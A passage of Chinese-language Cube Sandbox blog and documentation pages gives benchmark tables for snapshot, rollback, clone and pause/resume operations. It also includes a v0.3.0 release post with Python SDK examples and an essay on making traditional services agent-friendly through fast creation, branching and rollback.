ms | 71.2 ms | 71.2 ms | | 500 MB | 602.6 MB | 168.6 ms | 165.4 ms | 172.9 ms | 172.9 ms | 68.1 ms | 54.5 ms | 75.7 ms | 75.7 ms | | 800 MB | 908.3 MB | 215.8 ms | 212.1 ms | 217.6 ms | 217.6 ms | 68.1 ms | 60.9 ms | 79.1 ms | 79.1 ms | | 1024 MB | 1136.3 MB | 257.5 ms | 251.2 ms | 267.6 ms | 267.6 ms | 62.3 ms | 56.5 ms | 69.6 ms | 69.6 ms | **关键结论：** * **Snapshot 制作耗时与 Dirty Page 大小近线性相关**：基线（8.3 MB 脏页）约 42 ms，每增加 100 MB 脏数据约增加 22 ms，1024 MB 时约 258 ms * **基于 Snapshot 创建新沙箱的耗时与 Dirty Page 大小无关**：恢复耗时稳定在 **54–83 ms**，因为恢复采用 CoW（写时复制）按需加载，不依赖 Dirty Page 的大小 ### 4.3 基于 Snapshot 启动沙箱 **测试方式：** 先制作一个快照，然后并发调用 `POST /sandboxes`（指定 `snapshot_id`），测量从请求发出到所有沙箱进入 `running` 的端到端 wall time。 **执行命令：**（脚本：[`bench_create_concurrency.py`](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/snapshot-rollback-clone/bench_create_concurrency.py)） ```bash cd examples/snapshot-rollback-clone # 若是新开的终端，先设置环境变量（同 4.0 安装依赖一节）： export CUBE_API_URL=http://<your-server-ip>:3000 export CUBE_TEMPLATE_ID=<your-template-id> export CUBE_PROXY_NODE_IP=<your-cubeproxy-ip> export CUBE_PROXY_PORT_HTTP=80 # 脚本只提供单档机制，档位在命令行控制；按需逐档调用： python bench_create_concurrency.py -c 1 -n 3 python bench_create_concurrency.py -c 10 -n 3 --no-header python bench_create_concurrency.py -c 20 -n 3 --no-header ``` **测试数据：** | 并发 | n 总数 | 轮数 | wall avg | wall min | wall p95 | wall max | per-sandbox avg | |:----:|:------:|:----:|--------:|--------:|--------:|--------:|----------------:| | 1 | 1 | 3 | 66.7 ms | 65.8 ms | 68.3 ms | 68.3 ms | 66.7 ms | | 10 | 10 | 3 | 387.9 ms | 364.4 ms | 420.3 ms | 420.3 ms | **38.8 ms** | | 20 | 20 | 3 | 701.3 ms | 660.5 ms | 742.4 ms | 742.4 ms | **35.1 ms** | 单沙箱启动约 **67 ms**；10 并发时 wall 约 **388 ms**，均摊仅 **38.8 ms/个**；20 并发时 wall 约 **701 ms**，均摊仅 **35.1 ms/个**，展现出良好的并发扩展能力。 ### 4.4 Rollback **测试方式：** 对运行中的沙箱调用 `POST /sandboxes/{id}/rollback`，将沙箱内存和文件系统状态原地恢复至指定 Snapshot，无需重建沙箱。 > **快照所有权约束：** CubeSandbox 只允许沙箱回滚到**自己创建**的 checkpoint，每个并发沙箱均需独立完成「打快照 + 回滚」全流程。 **执行命令：**（脚本：[`bench_rollback_concurrency.py`](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/snapshot-rollback-clone/bench_rollback_concurrency.py)） ```bash cd examples/snapshot-rollback-clone # 若是新开的终端，先设置环境变量（同 4.0 安装依赖一节）： export CUBE_API_URL=http://<your-server-ip>:3000 export CUBE_TEMPLATE_ID=<your-template-id> export CUBE_PROXY_NODE_IP=<your-cubeproxy-ip> export CUBE_PROXY_PORT_HTTP=80 # 脚本只提供单档机制，档位在命令行控制；按需逐档调用： python bench_rollback_concurrency.py -c 1 -n 5 python bench_rollback_concurrency.py -c 5 -n 5 --no-header python bench_rollback_concurrency.py -c 10 -n 5 --no-header ``` **测试数据：** | 并发 | 轮数 | wall avg | wall min | wall p95 | wall max | per-rollback avg | |:----:|:----:|--------:|--------:|--------:|--------:|-----------------:| | 1 | 5 | 90.0 ms | 82.0 ms | 98.3 ms | 98.3 ms | 90.0 ms | | 5 | 5 | 325.5 ms | 322.9 ms | 329.4 ms | 329.4 ms | **65.1 ms** | | 10 | 5 | 821.4 ms | 778.7 ms | 858.1 ms | 858.1 ms | **82.1 ms** | > 单次 Rollback 流程（`create_snapshot` 打点 → `rollback` 回滚到自身 checkpoint）约 **90 ms**；5 并发时整批 wall 约 **326 ms**，per-rollback 均摊降至约 **65 ms**；10 并发时整批 wall 约 **821 ms**，均摊约 **82 ms/次**。 > > 注：因 CubeSandbox 要求沙箱只能回滚到自己创建的 checkpoint，故无法复用共享快照，每个并发沙箱均需独立完成「打快照 + 回滚」全流程。 ### 4.5 Clone **测试方式：** 调用 `POST /sandboxes/{id}/clone`，从一个**运行中**的沙箱派生出 N 个新沙箱，完整保留源沙箱的内存和文件系统状态（包含脏页）。 > **说明：** 本次 Clone 测试涉及磁盘文件时，相关数据均已在 Page Cache 中，测试结果不含冷读 IO 开销。 **执行命令：**（脚本：[`bench_clone_concurrency.py`](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/snapshot-rollback-clone/bench_clone_concurrency.py)） ```bash cd examples/snapshot-rollback-clone # 若是新开的终端，先设置环境变量（同 4.0 安装依赖一节）： export CUBE_API_URL=http://<your-server-ip>:3000 export CUBE_TEMPLATE_ID=<your-template-id> export CUBE_PROXY_NODE_IP=<your-cubeproxy-ip> export CUBE_PROXY_PORT_HTTP=80 # 脚本只提供单场景机制，n/并发/轮数在命令行控制；按需逐场景调用： python bench_clone_concurrency.py -n 1 -c 1 --rounds 5 python bench_clone_concurrency.py -n 10 -c 5 --rounds 3 --no-header python bench_clone_concurrency.py -n 20 -c 10 --rounds 3 --no-header ``` **测试数据（源沙箱脏页约 10 MB）：** | 场景 | n | 并发 | 轮数 | wall avg | wall min | wall p95 | wall max | per-clone avg | |:------------------|:---:|:----:|:----:|--------:|--------:|--------:|--------:|--------------:| | 1 个沙箱 1 并发 | 1 | 1 | 5 | 270.6 ms | 260.8 ms | 280.5 ms | 280.5 ms | 270.6 ms | | 10 沙箱 5 并发 | 10 | 5 | 3 | 541.6 ms | 522.9 ms | 557.7 ms | 557.7 ms | **54.2 ms** | | 20 沙箱 10 并发 | 20 | 10 | 3 | 789.7 ms | 757.2 ms | 815.3 ms | 815.3 ms | **39.5 ms** | Clone 单沙箱约 **271 ms**；10 沙箱 5 并发时整批 wall 约 **542 ms**，per-clone 均摊降至约 **54 ms**；20 沙箱 10 并发时整批 wall 约 **790 ms**，均摊进一步降至约 **40 ms/个**，并发摊薄效果显著。 ### 4.6 Pause / Resume **测试方式：** 创建 `concurrency` 个沙箱，并发调用 `POST /sandboxes/{id}/pause` 暂停全部，再并发调用 `POST /sandboxes/{id}/resume` 恢复全部，分别记录 pause 和 resume 的 wall time 与均摊耗时。 > ⚠️ **当前实现说明：** Pause 当前采用 **full-memory-copy 模式**——暂停时会将沙箱的全部匿名内存页写入持久化存储，耗时与沙箱总内存量线性相关（2 GiB 规格约 371 ms/个）。后续版本将升级为 **soft-dirty 增量模式**，仅保存自上次 checkpoint 以来被修改的脏页，空载沙箱的 pause 耗时预计将大幅降低。 **执行命令：**（脚本：[`bench_pause_resume_concurrency.py`](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/snapshot-rollback-clone/bench_pause_resume_concurrency.py)） ```bash cd examples/snapshot-rollback-clone # 若是新开的终端，先设置环境变量（同 4.0 安装依赖一节）： export CUBE_API_URL=http://<your-server-ip>:3000 export CUBE_TEMPLATE_ID=<your-template-id> export CUBE_PROXY_NODE_IP=<your-cubeproxy-ip> export CUBE_PROXY_PORT_HTTP=80 # 脚本只提供单档机制，档位在命令行控制；按需逐档调用： python bench_pause_resume_concurrency.py -c 1 -n 5 python bench_pause_resume_concurrency.py -c 10 -n 5 --no-header ``` **Pause 测试数据：** | 并发 | 轮数 | wall avg | wall min | wall p95 | wall max | per-pause avg | |:----:|:----:|--------:|--------:|--------:|--------:|-------------:| | 1 | 5 | 370.8 ms | 351.0 ms | 384.0 ms | 384.0 ms | 370.8 ms | | 10 | 5 | 1586.0 ms | 1529.5 ms | 1679.8 ms | 1679.8 ms | **158.6 ms** | **Resume 测试数据：** | 并发 | 轮数 | wall avg | wall min | wall p95 | wall max | per-resume avg | |:----:|:----:|--------:|--------:|--------:|--------:|---------------:| | 1 | 5 | 18.9 ms | 9.5 ms | 32.8 ms | 32.8 ms | 18.9 ms | | 10 | 5 | 26.6 ms | 19.3 ms | 39.9 ms | 39.9 ms | **2.7 ms** | **关键结论：** * **Resume 极快且并发扩展良好**：单次约 19 ms，10 并发时均摊仅 **2.7 ms/个**，恢复速度不受 full-copy 影响 * **Pause 是当前瓶颈**：full-copy 模式下单次约 371 ms，10 并发均摊 **158.6 ms/个** * **soft-dirty 版本上线后**，pause 耗时预计大幅降低 *** ## 附录：测试脚本索引 本文涉及的所有测试脚本均位于仓库目录： * **[`examples/cube-bench/`](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/cube-bench)** — 基于 Template 的并发创建基准工具（Go） * **[`examples/snapshot-rollback-clone/`](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/snapshot-rollback-clone)** — Snapshot / Rollback / Clone / Pause-Resume 相关 Python 脚本 --- --- url: >- https://cubesandbox.com/zh/blog/posts/2026-06-03-cubesandbox-v0.3.0-snapshot.md description: >- 在主流 AI Agent 架构中，沙箱服务承担着"安全运行时"的角色。Cube Sandbox v0.3.0 在 22 位贡献者合入的 82 个 commits 之上，完成了一次面向 Agent 高并发、长链路与强化学习场景的关键架构升级——围绕 snapshot / clone / rollback 三组接口，把"环境复制"和"出错恢复"从分钟级压到毫秒级。 --- # Cube Sandbox v0.3.0：让 AI Agent 拥有「时光机」和「分身术」 在主流 AI Agent 架构中，沙箱服务承担着"安全运行时"的角色，负责执行模型生成的代码与外部工具调用。近期，Cube Sandbox 发布了 v0.3.0 版本——这一版本由 22 位贡献者合入了 82 个 commits，更是一次面向 AI Agent 高并发、长链路与强化学习场景的关键架构升级，目的是解决 Agent 运行时复用与故障隔离这两个核心痛点。 ## 一、基建升级：更完整的 AI Infra 生态 在展开核心的快照能力之前，先看一下 v0.3.0 在基础设施层面的几项重大改进。相比上一个版本，这一版主要在三个维度完成了自我迭代： * **引擎内核（cubecow 与增量内存）**：新增了专为沙箱卷设计的 cubecow 写时复制（CoW）快照引擎；同时，在内存侧引入了基于 Linux 内核 soft-dirty 机制的增量内存快照。这意味着在连续快照场景下，系统不再需要写出全量内存，仅持久化变化后的脏页，单个沙箱的快照与恢复时间双双降到毫秒级。 * **开发者生态（Go SDK 与 WebUI）**：继 Python SDK 之后，Go 语言开发者在这一版迎来了原生 SDK 支持，完整覆盖沙箱与模板的生命周期管理。同时，针对运维和管理场景，内置的 Web 控制台也正式上线，直观呈现节点资源负载与沙箱运行状态。 * **部署与运维优化**：一键部署脚本完成了向 systemd 与 Docker Compose 的迁移，内置了 cgroup v2 等关键的系统级预检与诊断脚本，大幅提升了在各种云服务器上的环境自适应能力。 在这些基建更新中，最值得展开讲的，是围绕 sandbox 核心状态管理而设计的"快照、回滚与克隆"体系。 ## 二、快照 / 克隆 / 回滚：让 Agent 拥有「时光机」 这一版引入的三组 SDK 接口——`snapshot`、`clone`、`rollback`——构成了完整的 sandbox 状态管理。 ### 2.1 三组接口分别能干什么 **快照（snapshot）—— 把当前状态存档** 把 running 中沙箱的内存、状态、磁盘整体 dump 到持久化盘，形成独立的快照文件。生命周期与源沙箱解耦：源沙箱销毁后快照仍然可用；快照 ID 还能直接当模板，用来批量启动新沙箱。 **克隆（clone）—— 一个沙箱裂变成 N 个** 一行调用，从一个 running 中的源沙箱派生出 N 个完全独立的副本。这里的核心特性是： * **继承性**：副本初始状态与源沙箱完全一致，包括内存、文件、连接； * **隔离性**：副本之间物理隔离； * **连续性**：源沙箱不受影响，继续运行。 接口内置 `concurrency=C` 并发控制和"任一失败自动清理"，大批量场景下不会留孤儿沙箱。 **回滚（rollback）—— 一行回到过去某一刻** 沙箱可原地恢复到之前某次快照的状态，让内存状态和文件系统完全还原。回滚后，`sandbox_id` 不变、沙箱对象不变，不需要重连、不需要重建。 ### 2.2 Agent 真正需要它们的原因 在传统 Web 服务里，容器启动后通常是无状态的，用完即扔。但 AI Agent 不是这个模型——Agent 是被"养"出来的。由此引出两个最常见的痛点： **第一，"养好"的环境怎么复制？** 并发任务多了需要分身，团队来了新人也要从头养。从零起步重新跑一遍 setup 脚本既慢、也根本无法精确还原内存里的上下文、加载好的模型权重、热起来的缓存。靠 snapshot + clone，"半小时 × N" 变成 "毫秒 × N"，每个副本都是真正满级的 Agent 环境。 ![从一个养好的源沙箱毫秒级派生 N 个完全一致的副本](./assets/2026-06-03-cubesandbox-v0.3.0-snapshot/01-replicate-env.jpg) **第二，环境被搞坏了怎么办？** Agent 干活难免出错——装错依赖、误删文件、跑出死循环。传统做法只能销毁容器、从镜像重建、重新 `pip install`，几分钟就这么没了。Rollback 让"出错恢复"这件事从分钟级降到百毫秒级，且 `sandbox_id` 不变，Agent 接着跑。 ![rollback 把出错恢复从分钟级降到百毫秒级，sandbox\_id 不变](./assets/2026-06-03-cubesandbox-v0.3.0-snapshot/02-rollback-recover.jpg) ### 2.3 解锁的四个真实业务场景 **1）Agentic RL 训练 / SWE-Bench 评测** * **痛点**：需要从同一基线出发跑大量独立实例，且每次实验必须可复现。 * **Cube 解法**： ```python # 准备基线环境 base = Sandbox.create(template=TEMPLATE_ID) base.run_code("# 安装依赖、下载数据集 ...") snap = base.create_snapshot() # 一键派生 100 个独立实例，并发创建 clones = Sandbox.create(template=snap.snapshot_id).clone(n=100, concurrency=10) ``` * **价值**：基线只需准备一次，后续扩展是毫秒级克隆操作。 **2）多策略并行探索** * **痛点**：同一个问题想同时测试多种解题路径。 * **Cube 解法**：用 `clone(n=N)` 从当前状态分叉出 N 个独立沙箱，各跑各的策略，结果汇总后选最优。 * **价值**：探索效率线性提升，且每次实验条件严格一致。 **3）Agent 试错-重试循环** * **痛点**：Agent 执行过程中某步出错，传统做法是杀掉沙箱从头开始。 * **Cube 解法**： ```python checkpoint = sb.create_snapshot() sb.run_code("# 尝试步骤 A ...") if 判断失败: sb.rollback(checkpoint.snapshot_id) # 回到 A 之前 sb.run_code("# 换一种方式重试 ...") # 继续前进 ``` * **价值**：不用重建环境，节省时间和资源；天然适配 Agent 的试错模式。 **4）长期环境留存与复用** * **痛点**：配置好一套复杂开发环境（装了很多依赖），不想每次都重新搭建。 * **Cube 解法**：做一次快照，之后所有新沙箱直接基于该快照创建。 * **价值**：冷启动 + 环境初始化，两步合成一步。 ## 三、快照的技术实现原理 在传统虚拟化中，快照是一项相当沉重的运维操作。Cube Sandbox 的快照系统在后端存储层全面采用 reflink 机制进行数据管理，结合写时复制（CoW，Copy-on-Write）语义，实现了高效的快照创建与克隆能力。 ![存储层基于 reflink + CoW 实现 O(1) 复制](./assets/2026-06-03-cubesandbox-v0.3.0-snapshot/03-snapshot-storage.jpg) * **存储模型**：沙箱运行期间，磁盘数据以 CoW 模式挂载，内存同样通过对快照文件 `mmap`（内存映射）的方式以 CoW 模式运行。这意味着沙箱启动后，所有只读内存页均直接映射到底层快照文件，多个沙箱实例可以共享同一份物理存储副本，无需复制数据。 * **快照制作**：当需要为运行中的沙箱制作新快照时，系统仅将本次运行产生的增量 dirty page 写入新的快照文件副本，而不进行全量数据的序列化与写出。由于 dirty page 相比沙箱总内存体量通常小一个数量级，快照制作过程的 I/O 开销大幅降低，整体耗时显著缩短。 * **启动沙箱**：基于已有快照创建新沙箱实例时，得益于 reflink 的特性，新实例直接引用快照文件的元数据块，无需拷贝全量数据即可完成"逻辑复制"。文件系统层面的 reflink 操作耗时接近 O(1)，使得从快照冷启动新沙箱的速度极快。 基于底层快照技术，我们在 API 层面包装了 clone / rollback 语义： ![SDK 层面把 clone / rollback 包装成一行调用](./assets/2026-06-03-cubesandbox-v0.3.0-snapshot/04-clone-rollback-api.jpg) ## 四、实战：如何使用快照 / 回滚能力 ### 场景 1：错误隔离与原地回滚 开发者可以在沙箱运行到关键节点时打一个 checkpoint，之后无论环境被改成什么样，一行 `sb.rollback(checkpoint_id)` 就能原地还原到那一刻——`sandbox_id` 保持不变，沙箱对象可以接着用： ```python from cubesandbox import Sandbox from env import TEMPLATE_ID # Step 1: 在 v0 状态创建一个基础快照 with Sandbox.create(template=TEMPLATE_ID) as src: src.run_code("open('/tmp/v.txt', 'w').write('v0')") base = src.create_snapshot() base_id = base.snapshot_id print(f"base snapshot (v0): {base_id}") # Step 2: 从基础快照拉起一个新沙箱 sb = Sandbox.create(template=base_id) print(f"derived sandbox: {sb.sandbox_id}") # Step 3: 写入 v1，打一个 checkpoint sb.run_code("open('/tmp/v.txt', 'w').write('v1')") checkpoint = sb.create_snapshot() checkpoint_id = checkpoint.snapshot_id print(f"checkpoint (v1): {checkpoint_id}") # Step 4: 写入 v2，确认已生效 sb.run_code("open('/tmp/v.txt', 'w').write('v2')") before = sb.run_code("print(open('/tmp/v.txt').read())").logs.stdout before = before[0].strip() if before else "" print(f"before rollback: {before!r}") assert before == "v2" # Step 5: 回滚到 v1 这个 checkpoint sb.rollback(checkpoint_id) print(f"rolled back to checkpoint {checkpoint_id}") # Step 6: 验证状态已恢复为 v1（sandbox_id 保持不变） after = sb.run_code("print(open('/tmp/v.txt').read())").logs.stdout after = after[0].strip() if after else "" print(f"after rollback: {after!r}") assert after == "v1", f"expected 'v1', got {after!r}" print("OK: rollback restored state to checkpoint (v1)") # Cleanup sb.kill() Sandbox.delete_snapshot(checkpoint_id) Sandbox.delete_snapshot(base_id) print("snapshots deleted") ``` ### 场景 2：并行探索与高效克隆 在强化学习或多路径决策中，可以通过 `clone` 接口从同一个源沙箱一键派生出多个环境，每个环境物理隔离、互不干扰，又都继承了源沙箱的全部运行时状态。下面的示例克隆 N 份后，逐一校验每个实例都继承了源沙箱写入的标记文件： ```python import os from cubesandbox import Sandbox from env import TEMPLATE_ID N = int(os.environ.get("FORK_N", "10")) CONCURRENCY = int(os.environ.get("FORK_CONCURRENCY", "5")) src = Sandbox.create(template=TEMPLATE_ID) src.run_code("open('/tmp/origin.txt', 'w').write('I am from sandbox a')") print(f"src sandbox: {src.sandbox_id}") # ★ 并发克隆 —— SDK 内部把 Sandbox.create fan-out 出去 clones = src.clone(n=N, concurrency=CONCURRENCY) print(f"cloned {len(clones)} sandboxes (concurrency={CONCURRENCY})") # 验证每个 clone 都继承了源沙箱的状态标记 expect = "I am from sandbox a" ok = 0 for i, sb in enumerate(clones): r = sb.run_code("print(open('/tmp/origin.txt').read())") marker = r.logs.stdout[0].strip() if r.logs.stdout else "" if marker == expect: ok += 1 print(f" clone[{i:>2}] {sb.sandbox_id} marker={marker!r}") print(f"\n{ok}/{N} clones inherited the origin marker") assert ok == N, "some clones failed to inherit state" # Cleanup src.kill() for sb in clones: sb.kill() print("all sandboxes killed") ``` 虽然 Cube Sandbox 深度兼容 E2B 协议，但 E2B 的原生 API 中并没有这两组接口。Cube 团队通过 cubesandbox SDK 在应用层完成了这些能力的桥接——开发者可以在不修改 E2B 兼容代码的前提下，无缝解锁这些高级状态管理原语。 ## 五、可视化 Web 管理（预览版）同步开源 除了 SDK 层的 `snapshot` / `rollback` / `clone` API，本次我们还同步开源了一套基于 Cube Sandbox 的 OpenClaw Web 管理（预览版）——把这一版的核心能力做成了点几下鼠标就能完成的可视化体验：实时查看每个沙箱的存档时间线、一键回到过去某个 checkpoint、瞬间裂变多个 OpenClaw、批量管理沙箱生命周期。 原来需要写脚本调 SDK 才能玩转的"时光机"和"分身术"，现在在浏览器里点几下就能跑通。 ![OpenClaw Web 管理预览版：时间线、快照、克隆全可视化](./assets/2026-06-03-cubesandbox-v0.3.0-snapshot/05-openclaw-web.jpg) ## Coming soon 接下来的版本里，我们会把"沙箱安全"这件事再往上推一层——从今天的"隔离 Agent 在哪里跑"，升级到"管控 Agent 能碰到什么"： * **基于内容的网络控制与审计**：在沙箱出口流量层面做内容感知的访问控制和全量审计，让"Agent 调了哪个外部 API、传了什么数据出去"全部可追溯、可拦截； * **凭证托管**：API Key、数据库密码、云服务凭证统一由沙箱安全侧托管，Agent 拿到的只是受控的临时凭证，避免敏感信息泄漏给模型上下文或落到日志里。 如果你正在构建类似工作流，欢迎关注 Cube Sandbox，也欢迎通过 issue 或 PR 与我们一起共建。 * **GitHub 仓库**：<https://github.com/TencentCloud/CubeSandbox> * **完整 Release Note**：<https://github.com/TencentCloud/CubeSandbox/releases/tag/v0.3.0> * **快照功能技术文档**：<https://github.com/TencentCloud/CubeSandbox/blob/master/docs/zh/guide/snapshot-rollback-clone.md> --- --- url: >- https://cubesandbox.com/zh/blog/posts/2026-06-17-cubesandbox-agent-friendly-service.md description: >- 当软件服务的使用对象从人变为 Agent，对服务的要求发生了根本变化——创建不再是运维动作，而是推理和执行循环的一部分。Neon 被 Databricks 以 10 亿美金收购，印证了这条技术路线的价值。Cube Sandbox 把"极速创建、分支克隆、状态回滚"做成通用运行环境能力，让任何传统软件服务几乎零代码修改即可变为 Agent 友好的服务。 --- # 让传统软件服务适配 Agent：从快速创建到分支、克隆与回滚 过去的软件和云服务，主要是为人设计的。人类用户创建一个数据库、部署一个服务、初始化一个缓存，通常是低频动作；即使等待几十秒甚至几分钟，也可以接受。人会阅读控制台、等待资源就绪、手动修复错误，并且在真正影响生产环境前反复确认。 Agent 的使用方式不同。Agent 不是"更快的人类用户"，而是一类会自动执行、反复试错、并行探索的软件使用者。它可能在一次任务里创建多个数据库、启动多个运行环境、执行多轮迁移、尝试不同依赖组合，再根据错误日志继续修改。对 Agent 来说，创建资源不是运维动作，而是推理和执行循环的一部分。 这带来了新的基础需求：服务必须能被快速、大量创建；每个实例最好是隔离的、可丢弃的；执行过程中要能保存状态；失败后要能回滚；面对多个可能路径时，要能从同一个状态分支出多个环境。否则，Agent 的每一次试错都会变成昂贵的重建过程：重新安装依赖、重新导入数据、重新启动服务、重新走一遍初始化流程。 换句话说，Agent 友好的服务不只是"有 API"，而是要具备类似代码仓库的能力：快速创建、分支克隆、状态回退、自动清理。API 解决的是"能不能调用"，而快照、分支和回滚解决的是"Agent 能不能低成本地犯错、比较和恢复"。 ![Agent 服务光谱](./assets/2026-06-17-cubesandbox-agent-friendly-service/01-agent-service-spectrum.jpg) ## 一些对 Agent 友好的服务 ![Agent 友好服务](./assets/2026-06-17-cubesandbox-agent-friendly-service/02-agent-friendly-services.jpg) Neon 是一个典型例子。它把 Postgres 做成面向 Agent 的 Serverless 数据库，Neon 上 80% 的数据库都由 Agent 自动生成。对人类开发者来说，数据库通常是项目早期创建一次、后续长期维护的资源；但对 Agent 来说，每生成一个应用、每创建一个预览环境、每尝试一次 schema 变更，都可能需要一个独立数据库。Neon 通过 API-first 的 provisioning，让数据库可以嵌入 Agent 的执行链路，而不是要求用户跳出流程手动开通。 更关键的是，Neon 把 Postgres 做成了可版本化的数据服务。copy-on-write branching 让 Agent 可以从已有数据库状态拉出分支，测试 schema migration、数据修复或应用版本，而不影响主库；snapshot、point-in-time recovery 和 restore 则提供了数据库时间线能力。Agent 如果生成了错误 migration，不必从零重建数据库，可以回到之前状态重新尝试。 这背后的意义不只是"创建数据库更快"。它改变了数据库和 Agent 的关系：Postgres 不再只是一个需要人运维的长期资源，而变成 Agent 可以动态创建、分支、回滚和销毁的数据服务。而从趋势上来看，Agent 自行使用资源的比重正在快速增长。 ![Neon 市场份额](./assets/2026-06-17-cubesandbox-agent-friendly-service/03-neon-market-share.jpg) Agent 快速增长的市场份额和 Neon 本身具有的这些为 Agent 而生的产品能力也被 Databricks 所需要，2025 年 5 月，Databricks 以 10 亿美金收购 Neon。**"The era of AI-native, agent-driven applications is reshaping what a database must do,"** said Ali Ghodsi, Co-Founder and CEO at Databricks。**"Neon proves it: four out of every five databases on their platform are spun up by code, not humans. By bringing Neon into Databricks, we're giving developers a serverless Postgres that can keep up with agentic speed, pay-as-you-go economics and the openness of the Postgres community."** Turso 代表了另一类方向：Agent 友好的 SQLite / 边缘数据库。它强调每个 user、agent、tenant 都可以拥有独立数据库。SQLite/libSQL 的轻量模型天然适合大量小数据库，而 Turso 又补上了边缘副本、同步、API 管理、Copy-on-Write branching 和 rollback。对于 Agent 来说，这意味着 memory、任务状态、局部 RAG 数据不一定要集中在一个中心库里，而可以变成"每个 Agent 一个可分支的小数据库"。 Upstash 则更偏向中间件服务的 Agent 化。Redis、队列、向量检索、Workflow 这些能力过去通常需要长期维护；而 Upstash 通过 REST API、URL + Token、按请求计费、scale-to-zero，把它们变成 Agent 可按需申请的组件。它不一定强调分支回滚，但非常适合临时状态、缓存、任务队列、异步工具调用和 RAG 存储。 这些案例背后有共同趋势：传统服务正在从"人使用的资源"变成"Agent 可自动创建、复制、观察和回收的运行单元"。 ## CubeSandbox：把这种能力泛化到任意软件服务 Neon、Turso 解决的是数据库服务的分支和回滚；Upstash 解决的是中间件的快速供给。但真实软件世界远不止这些。Redis、浏览器、开发环境、后端服务、测试系统、复杂依赖环境，都可能成为 Agent 的操作对象。 **CubeSandbox 的价值在于，它试图把"快速创建、分支、回滚"从某个具体服务，泛化成一种通用运行环境能力。也就是说，哪怕某个传统服务本身没有快速启动，内建 branching 和 rollback，只要它能运行在沙箱里，就会获得类似能力。** 它的核心不是简单地启动一个容器，而是在 MicroVM 隔离之上，结合资源池、快照、文件系统 FICLONE 机制、基于内存 mmap 的 CoW、增量内存快照等机制，让运行中的服务状态可以在百毫秒级被保存、复制和恢复。这里的"状态"不只是文件，还包括进程、内存里的数据结构、已经启动的服务，以及执行到一半的任务上下文。 为什么它能这么快？ 第一，快速启动来自预置基线和快照克隆。传统方式要从零启动系统、加载镜像、启动服务；而 CubeSandbox 可以从已经准备好的状态直接开始，跳过整个启动路径。 第二，磁盘克隆不是完整复制文件系统。CubeSandbox 利用文件系统的 FICLONE 机制，让新实例先共享已有快照的数据块；只有发生写入时，才生成私有副本。因此 clone 只是一次元数据操作，而不是整盘复制。 第三，增量内存快照。连续 snapshot 不需要反复持久化全量内存，而是通过 dirty page 追踪，只保存变化页。运行时再结合基于内存 mmap 的 CoW，让多个分支共享基线内存状态，变更时才分叉。 第四，rollback 不是销毁重建。它把当前沙箱原地恢复到某个 checkpoint 的内存和文件系统状态，避免重新调度、重新连接、重新启动服务。失败恢复从"重新搭环境"变成"状态回退"。 更进一步的技术解读可以参考以下文章： * [从 Serverless 到 Agent：Cube 系统的一些设计思考](https://mp.weixin.qq.com/s/uKxzHzIamkmOnzra_UBglw) * [Cube Sandbox v0.3.0 来了：让 AI Agent 拥有"时光机"和"分身术"](https://mp.weixin.qq.com/s/NbcybX_QJAWppMtW-n7rtw) * [CubeSandbox 性能测试报告](./2026-06-03-cubesandbox-perf-benchmark-pvm.md) 下面这张图可以概括 CubeSandbox 中 snapshot、clone 和 rollback 的关系：snapshot 把某一刻的运行态固定成 checkpoint；clone 从这个 checkpoint 或运行中沙箱派生多个分支；rollback 则把失败分支原地拉回到 checkpoint。 ![Snapshot / Clone / Rollback 关系](./assets/2026-06-17-cubesandbox-agent-friendly-service/04-snapshot-clone-rollback.jpg) ## 具体例子 以下给出三个示例程序，分别展示 CubeSandbox 的分支探索能力、即时回滚能力，以及如何利用 CubeSandbox 简单地将传统服务变成具备"极速拉起，分支克隆"能力的 Agent 服务。 ## 准备工作 1. 部署一个 CubeSandbox 服务，参照 [CubeSandbox 快速部署指南](../../guide/quickstart.md) 2. 在我们的示例中，会使用到 Redis 的服务，有两种方法（任何一种都可以）构建这个 Redis 服务的模版： 2.1 参照[自定义镜像](../../guide/tutorials/bring-your-own-image.md)自行构建一个 Redis 服务模版 2.2 使用我们制作好的 Redis 镜像： ```bash cubemastercli tpl create-from-image \ --image cube-sandbox-image.tencentcloudcr.com/demo/redis-envd:latest \ --writable-layer-size 1G \ --expose-port 6379 \ --expose-port 49983 \ --probe 49983 \ --cpu 1000 \ --memory 1000 ``` 最终会得到一个 Template ID，把这个 Template ID 记录下来，假设为 `tpl-xxxyyy`： ```bash export CUBE_TEMPLATE_ID=tpl-xxxyyy ``` 3. 在 CubeSandbox 宿主机上执行以下命令克隆示例代码仓库，以下所有示例的代码都在 CubeSandbox 宿主机上运行： ```bash git clone https://github.com/kinwin-ustc/cube-sandbox-examples.git ``` ### 1. 百毫秒分支克隆 这个例子来自 `examples/redis-clone`。它先创建一个源沙箱，在里面启动 Redis 和一个后台 `pusher.sh` 程序。这个程序每秒向 Redis 的 test list 写入一个随机值，写入 10 次后退出；运行约 4 秒后，Python 代码调用 `src.clone(n=8, concurrency=8)`，一次性从运行中的源沙箱克隆 8 个分支。 如何执行： ```bash cd examples/redis-clone python3 redis_clone_demo.py ``` 执行结果摘录： ``` [host] creating source sandbox from tpl-e48c5119a5714f3aa7853779 ... [host] source sandbox: 2626f7d437484eafb3318f41eeaffeb3 [host] ensuring redis-server is running ... [host] uploaded pusher program -> /tmp/pusher.sh [host] pusher launched in background [host] letting the program run ~4s ... [host] t=4s -> cloning 8 sandboxes via sb.clone(n=8) [host] clone took 0.387s (0.048s per clone)!! [host] cloned 8 sandboxes: clone[0] 88b9dada96464f34b75ac51e8b7ce9ec clone[1] 9351f4e3af2a48fcb2eac73704f04d13 ... [host] waiting for all programs to finish ... ===== program output of all sandboxes ===== 2626f7d437484eafb3318f41eeaffeb3 test YHATC7qZ AmnOf02A NH2cEZIQ C3cYqTZe C4FgZaOs ... 88b9dada96464f34b75ac51e8b7ce9ec test YHATC7qZ AmnOf02A NH2cEZIQ C3cYqTZe KQ4SD8cJ ... ... =========================================== ``` 结果说明：8 个克隆总耗时 0.387s，平均每个 clone 0.048s。更重要的是，源沙箱和克隆沙箱的 Redis list 前 4 个元素完全一致，说明 clone 发生时继承了 Redis 的内存状态；但第 5 个元素之后各分支开始不同，说明克隆之后每个分支都在独立继续运行后台进程。也就是说，这不是"重新启动 8 个 Redis"，而是从同一个运行时状态分叉出 8 个未来。 ### 2. 百毫秒的事件级快照回滚 这个例子来自 